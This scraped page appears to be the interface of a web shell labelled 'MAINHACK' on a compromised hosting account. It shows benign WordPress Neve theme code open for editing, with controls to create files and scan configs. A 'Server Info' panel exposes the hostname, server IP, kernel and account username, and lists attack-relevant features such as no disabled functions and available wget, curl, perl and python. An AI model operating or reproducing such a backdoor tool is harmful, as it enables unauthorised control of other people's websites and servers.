[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: migrations.php
<?php /** * Migration methods for theme mods. * * @package migrations.php */ use Neve\Core\Migration_Flags; /** * Get button default appearance. * * @param string $button the button type [button|secondary_button]. * * @return array */ function neve_get_button_appearance_default( $button = 'button' ) { if ( $button !== 'button' ) { return [ 'type' => 'outline', 'background' => '', 'backgroundHover' => '', 'text' => 'var(--nv-primary-accent)', 'textHover' => 'var(--nv-primary-accent)', 'borderRadius' => [ 'top' => 3, 'right' => 3, 'bottom' => 3, 'left' => 3, ], 'borderWidth' => [ 'top' => 3, 'right' => 3, 'bottom' => 3, 'left' => 3, ], 'useShadow' => false, 'shadowColor' => 'rgba(0,0,0,0.5)', 'shadowProperties' => [ 'blur' => 5, 'width' => 0, 'height' => 0, ], 'useShadowHover' => false, 'shadowColorHover' => 'rgba(0,0,0,0.5)', 'shadowPropertiesHover' => [ 'blur' => 5, 'width' => 0, 'height' => 0, ], ]; } return [ 'type' => 'fill', 'background' => 'var(--nv-primary-accent)', 'backgroundHover' => 'var(--nv-primary-accent)', 'text' => '#fff', 'textHover' => '#fff', 'borderRadius' => [ 'top' => 3, 'right' => 3, 'bottom' => 3, 'left' => 3, ], 'borderWidth' => [ 'top' => 1, 'right' => 1, 'bottom' => 1, 'left' => 1, ], 'useShadow' => false, 'shadowColor' => 'rgba(0,0,0,0.5)', 'shadowProperties' => [ 'blur' => 5, 'width' => 0, 'height' => 0, ], 'useShadowHover' => false, 'shadowColorHover' => 'rgba(0,0,0,0.5)', 'shadowPropertiesHover' => [ 'blur' => 5, 'width' => 0, 'height' => 0, ], ]; } /** * Migrate the old value for the blog layout to the new values. */ function neve_migrate_blog_layout() { // Layout Setting $old_value = get_theme_mod( 'neve_blog_archive_layout' ); if ( $old_value !== 'alternative' ) { return; } set_theme_mod( 'neve_blog_archive_layout', 'default' ); set_theme_mod( 'neve_blog_list_alternative_layout', true ); } /** * Migrate blog columns. */ function neve_migrate_blog_columns() { // Column Setting - Previously mobile was forced to 1. $old = get_theme_mod( 'neve_grid_layout' ); if ( ! is_numeric( $old ) ) { return; } set_theme_mod( 'neve_grid_layout', wp_json_encode( array( 'desktop' => $old, 'tablet' => $old, 'mobile' => 1, ) ) ); } /** * Run flag migrations. * * @return void */ function neve_run_migration_flags() { $migrator = new Migration_Flags( NEVE_VERSION ); $migrator->run(); } add_action( 'init', 'neve_migrate_blog_layout' ); add_action( 'init', 'neve_migrate_blog_columns' ); add_action( 'init', 'neve_run_migration_flags', PHP_INT_MIN );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.47 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056